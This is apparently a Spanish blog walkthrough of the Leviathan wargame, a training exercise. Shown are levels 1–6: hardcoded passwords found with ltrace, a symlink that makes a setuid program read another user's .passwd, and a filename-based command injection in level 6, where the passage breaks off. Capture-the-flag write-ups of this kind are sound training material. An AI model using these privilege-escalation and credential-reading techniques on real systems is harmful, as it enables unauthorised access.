&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para...&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para!!!&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;QUE PARES!!!!&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ok, tú lo has querido, aquí están nuestras soluciones, en las que podeis ver en negrita los comandos o entradas que debe introducir el usuario:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:180%;"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;Solución al nivel 1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La contraseña para entrar con el usuario level1 la tenemos en la web de incio del reto, así que usando esos datos conectamos a la máquina:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;div&gt;&lt;i&gt;$ &lt;/i&gt;&lt;b&gt;&lt;i&gt;ssh -p 10101 level1@leviathan.intruded.net&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;*******************************************
&lt;br /&gt;*    Welcome to Intruded.net Wargame Server
&lt;br /&gt;*                                 
&lt;br /&gt;*       * You are playing "Leviathan"
&lt;br /&gt;*       * Most levels can be found in /wargame
&lt;br /&gt;*       * Login: level1:leviathan 
&lt;br /&gt;*       * Support: irc.intruded.net #wargames
&lt;br /&gt;*                                 
&lt;br /&gt;*                                 
&lt;br /&gt;*       ! Server is restarted every 12 hours
&lt;br /&gt;*       ! Server is cleaned every reboot
&lt;br /&gt;*       ! /tmp direcotry is writable
&lt;br /&gt;*
&lt;br /&gt;*******************************************&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nada más empezar nos dice que la mayoría de niveles puede encontrarse en /wargame, así que vamos a pegarle un vistazo al directorio a ver que nos encontramos:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;$ &lt;/i&gt;&lt;b&gt;&lt;i&gt;ls -la /wargame/&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;total 48
&lt;br /&gt;drwxr-xr-&lt;i&gt;x  2 root   root   4096 2008-03-26 02:41 .&lt;/i&gt;&lt;div&gt;&lt;i&gt;drwxr-xr-x 22 root   root   4096 2008-03-26 02:54 ..&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;-r-sr-s---  1 level3 level2 7738 2008-03-26 02:31 check&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;-r-sr-s---  1 level5 level4 8090 2008-03-26 02:33 level4&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;-r-sr-s---  1 level7 level6 7696 2008-03-26 02:34 printfile&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;-r-sr-s---  1 level4 level3 8051 2008-03-26 02:51 prog&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;-r-sr-s---  1 level8 level7 7661 2008-03-26 02:35 sphinx&lt;/i&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Como comentábamos antes, parece que tenemos unos cuantos binarios con el bit suid activo que va a permitir ejecutar algo al usuario levelX con los privilegios del usuario levelX+1. Sin embargo, hay dos casos para los que no tenemos binario en este directorio, en el level1 (en el que nos encontramos) y en el level5.
&lt;br /&gt;
&lt;br /&gt;Bueno, si no tenemos nada en este directorio, vamos a ver que es lo que hay en el home del usuario level1:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ls -la&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;total 28&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;drwx------  3 level1 level1 4096 2008-03-26 02:12 .&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;drwxr-xr-x 10 root   root   4096 2008-03-26 01:55 ..&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;drwxr-xr-x  2 root   level1 4096 2008-03-26 02:22 .backup&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root      0 2008-03-26 02:08 .bash_history&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root    220 2008-03-25 22:24 .bash_logout&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root    414 2008-03-25 22:24 .bash_profile&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root   2227 2008-03-25 22:24 .bashrc&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root     10 2008-03-26 01:53 .passwd&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Así a primer vistazo, ese directorio .backup parece intesante. Si miramos dentro nos encontramos con un fichero bookmarks.html donde tenemos el backup de la lista de favoritos de un navegador. Parece que hay muchos enlaces, quizá demasiados para revisarlos uno por uno:
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;cat bookmarks.html | wc -l&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1399&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ufff, demasiados como para revisar a mano, pero quizá si buscamos algunas palabras claves como "level", "password" o similar obtengamos algún resultado interesante:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div style="text-align: left; font-style: italic;"&gt;$ &lt;span style="font-weight: bold;"&gt;cat bookmarks.html | grep -i pass&lt;/span&gt;
&lt;br /&gt;[...]http://www.goshen.edu/art/ed/teachem.htm[...]password to level2
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¿Una web con título "password to level2"? No puede ser tan fácil, ¿o sí?
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S9TUE-Fg_yI/AAAAAAAAAXs/xZgvjwdyC-0/s1600/003.png" style="text-decoration: none;"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/S9TUE-Fg_yI/AAAAAAAAAXs/xZgvjwdyC-0/s400/003.png" alt="" id="BLOGGER_PHOTO_ID_5464225429757951778" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 179px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;Contraseña Nivel2: vFPMNdI0
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-size:130%;"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;Solución al nivel 2&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Si nos acordamos de los binarios que vimos en /wargame, recordaremos que existía un binario "check" que podría permitirnos el paso al nivel 3, así que lo primero que hacemos es pegarle un vistazo al binario a ver que hace:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;cd /wargame&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./check&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;password: &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;PATATA&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Wrong password, Good Bye ...&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Parece que vamos a tener que acertar con una palabra secreta que nos dará algún tipo de acceso a la contraseña del nivel superior. Evidentemente podríamos conger el binario y desensamblarlo, a ver que hace, pero vamos a optar por algo más sencillo e inmediato, que en muchas ocasiones nos va a dar buenos resultados. Para ello utilizaremos las herramientas *trace existentes en los sistemas Linux, que nos permiten hacer una traza de la ejecución de un binario, bien sea a nivel de llamadas del sistema, procesos, llamadas a librerías, etc, dependiendo de la herramienta concreta que escojamos. En este caso, el que mejor resultado nos puede dar es ltrace, ya que presumiblemente una comparación de cadenas será realizada con funciones típicas como strcmp, para las cuales se realizará una llamada a la librería correspondiente:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ltrace ./check&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530 &lt;unfinished&gt;&lt;/unfinished&gt;&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;printf("password: ")                             = 10&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: &lt;span style="font-weight: bold;"&gt;PATATA&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;) = 80&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 65&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 84&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;strcmp("PAT", "sex")                             = -1&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;)             = 29&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;+++ exited (status 29) +++&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;¡Bingo! Si os fijais en la traza, vemos una llamada a &lt;span&gt;strcmp("PAT", "sex")&lt;/span&gt;, que nos muetra que los tres primeros caracteres de la cadena que hemos introducido están siendo comparados con la palabra "sex", y da resultado negativo (-1) ¿Qué pasa si introducimos la cadena "sex" como contraseña? Es fácil de imaginar, vamos a obtener una shell con privilegios del usuario level3 con la que podremos acceder al fichero .passwd en el que contiene la contraseña para el siguiente nivel:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./check&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;password: &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;sex&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sh-3.1$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;id&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sh-3.1$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;cat /home/level3/.passwd&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;oc7vaCOg&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;Contraseña Nivel3: oc7vaCOg
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-size:130%;"&gt;
&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solución al nivel 3&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;b&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Si volvemos a los binarios que vimos en /wargame, existe un binario "prog" que tiene idénticas características al que utilizamos para conseguir el pase a este nivel. Vamos a pegarle un vistazo a ver que hace:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./prog&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Cannot find /tmp/file.log&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;echo PATATA &gt; /tmp/file.log&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./prog&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;PATATA&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Vale, parece que el binario lee el contenido del fichero /tmp/file.log empleando los privilegios del usuario del siguiente nivel, así que si conseguieramos que lea de /home/level4/.passwd en lugar de /tmp/file.log tendremos nuestra contraseña, así que... ¿Qué tal si creamos un enlace simbólico en /tmp/file.log que apunte a /home/level4/.passwd?
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ln -s /home/level4/.passwd /tmp/file.log&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./prog &lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;R0gBtSP5&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;¡Ya lo tenemos!
&lt;br /&gt;
&lt;br /&gt;Contraseña Nivel4: R0gBtSP5
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:130%;"&gt;
&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solución al nivel 4&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;b&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;&lt;span style="font-size:180%;"&gt;&lt;/span&gt;
&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;El nivel 4 es muy parecido al nivel 2, tenemos un binario "level4" que nos pide una contraseña que en principio nos proporcionará algún tipo de acceso a los privilegios de level5. Si repetimos la traza que hicimos con el nivel 2, podemos buscar de la misma manera las llamadas a strcmp:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./level4&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Enter the password&gt; &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;PATATA&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;bzzzzzzzzap. WRONG&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ltrace ./level4&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;__libc_start_main(0x8048523, 1, 0xbffffac4, 0x8048650, 0x8048600 &lt;unfinished&gt;&lt;/unfinished&gt;&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;strcmp("h0no33", "kakaka")                       = -1&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;printf("Enter the password&gt; ")                   = 20&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;fgets(Enter the password&gt; &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;PATATA&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"PATATA\n", 256, 0xb7fe1300)               = 0xbffff8dd&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;strcmp("PATATA\n", "snlprintf\n")                = -1&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;)                       = 19&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;+++ exited (status 0) +++&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;Como podemos ver, en este caso la cadena con la que se compara es "snlprintf", así que solo tenemos que llamar nuevamente al binario con esa contraseña para obtener el acceso, y de ahí obtener la contraseña al siguiente nivel:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./level4&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Enter the password&gt; &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;snlprintf&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[You've got shell]!&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;id&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;uid=1003(level4) gid=1003(level4) euid=1004(level5) groups=1003(level4)&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;cat /home/level5/.passwd&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Dx08I4vD&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;¡Uno menos! ¡A por el siguiente!
&lt;br /&gt;
&lt;br /&gt;Contraseña Nivel5: Dx08I4vD
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Solución al Nivel 5&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Tras no encontrar ningún binario que nos sirve para pasar al nivel 6 en el directorio /wargame, pegamos un vistazo al home del usuario level5, y nos encontramos un directorio ".Trash" que contiene un binario "bin" con las mismas características que los binarios existentes en /wargame:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ls -la&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;total 28&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;drwx------  3 level5 level5 4096 2008-03-26 02:41 .&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;drwxr-xr-x 10 root   root   4096 2008-03-26 01:55 ..&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root      0 2008-03-26 02:09 .bash_history&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root    220 2008-03-26 01:54 .bash_logout&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root    414 2008-03-26 01:54 .bash_profile&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root   2227 2008-03-26 01:54 .bashrc&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-rw-r--r--  1 root   root      9 2008-03-26 01:55 .passwd&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;drwxr-xr-x  2 root   level5 4096 2008-03-26 02:41 .Trash&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;cd .Trash/&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ls -la&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;total 16&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;drwxr-xr-x 2 root   level5 4096 2008-03-26 02:41 .&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;drwx------ 3 level5 level5 4096 2008-03-26 02:41 ..&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-r-sr-s--- 1 level6 level5 7519 2008-03-26 02:34 bin&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como en el resto de ocasiones, vamos a ejecutar el binario a ver que es lo que hace:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./bin&lt;/span&gt;&lt;span style="font-style: italic;"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;No nos pide ningún tipo de entrada, así que probablemente está sacando esto que nos enseña de algún fichero cuya ruta tiene en el interior del código, al igual que pasaba con el nivel 3. Vamos a hacerle un pequeño ltrace al binario a ver que fichero está abriendo:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;ltrace ./bin&lt;/span&gt;&lt;span style="font-style: italic;"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;__libc_start_main(0x80483e4, 1, 0xbffffac4, 0x8048530, 0x80484e0 &lt;unfinished&gt;&lt;/unfinished&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;fopen("/home/level6/.passwd", "r")&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;¡Vaya! Parece que no nos va a hacer falta hacer ningún tipo de trampeo, ya que está sacando esta información que nos muestra precisamente del fichero que guarda la contraseña del siguiente nivel. El único problema es que nos la está mostrando en formato binario, pero eso buscando en Google &lt;a href="http://home2.paulschou.net/tools/xlate/"&gt;algún conversor&lt;/a&gt; se arregla fácilmente:
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S9TUo2_2g8I/AAAAAAAAAX0/soJ4ub3f0vc/s1600/003.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S9TUo2_2g8I/AAAAAAAAAX0/soJ4ub3f0vc/s400/003.png" alt="" id="BLOGGER_PHOTO_ID_5464226046330438594" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 247px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;Contraseña Nivel6: 6lyvLXCA
&lt;br /&gt;
&lt;br /&gt;&lt;span style="font-size:130%;"&gt;
&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solución al Nivel 6&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Para pasar al nivel 7 esta vez tenemos que "destripar" un binario llamado printfile, cuyo nombre ya nos hace pensar que pasar este nivel va a ser parecido a pasar el nivel 3. Veamos lo que hace este binario:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./printfile&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;*** File Printer ***&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Usage: ./printfile filename&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Mmmmm, ¿Nos deja pasarle el nombre del fichero? No puede ser tan fácil:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;./printfile /home/level7/.passwd&lt;/span&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;You cant have that file...&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Era demasiado bonito para ser verdad, pero todavía no está todo perdido, vamos a crear un fichero accesible y trazar a ver como funciona:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div style="text-align: left; font-style: italic;"&gt;$ &lt;span style="font-weight: bold;"&gt;echo PATATA &gt; /tmp/myfile&lt;/span&gt;
&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;./printfile /tmp/myfile&lt;/span&gt;
&lt;br /&gt;PATATA
&lt;br /&gt;
&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;ltrace ./printfile /tmp/myfile&lt;/span&gt;
&lt;br /&gt;__libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520 &lt;unfinished&gt;
&lt;br /&gt;access("/tmp/myfile", 0)                          = 0
&lt;br /&gt;snprintf("/bin/cat /tmp/myfile", 511, "/bin/cat %s", "/tmp/myfile") = 20
&lt;br /&gt;system("/bin/cat /tmp/myfile"PATATA
&lt;br /&gt;&lt;unfinished&gt;
&lt;br /&gt;--- SIGCHLD (Child exited) ---
&lt;br /&gt;&lt;... system resumed&gt; )                            = 0
&lt;br /&gt;+++ exited (status 0) +++
&lt;br /&gt;&lt;/unfinished&gt;&lt;/unfinished&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Parece ser que el binario realiza en primer lugar una llamada a la función "access" para comprobar los permisos del fichero que queremos abrir, y posteriormente contruye una cadena que realiza un "cat nuestra_entrada", claramente vulnerable a injección de comandos. El problema que tenemos es que sea cual sea la entrada que le pongamos (con la inyección de comandos incluida), debe existir un fichero con ese mismo nombre, para que dicho control no sea efectivo.
&lt;br /&gt;
&lt;br /&gt;Después de algunas pruebas, y de comprobar que el caracter / nos daba algunos problemas, vimos que la solución era crear un fichero cuyo nombre contuviera un espacio seguido del nombre del fichero .passwd del siguiente nivel, así podriamos hacer bypass de la función access, puesto que dicho fichero existe, pero al formar la cadena con la que se llama a system nos quedaría algo así como "cat file .passwd", con lo que el primero nos devolverá un error (no existe) pero el contenido del segundo nos será mostrado. Veamoslo:
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;span style="font-style: italic;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;cd /tmp&lt;/span&gt;
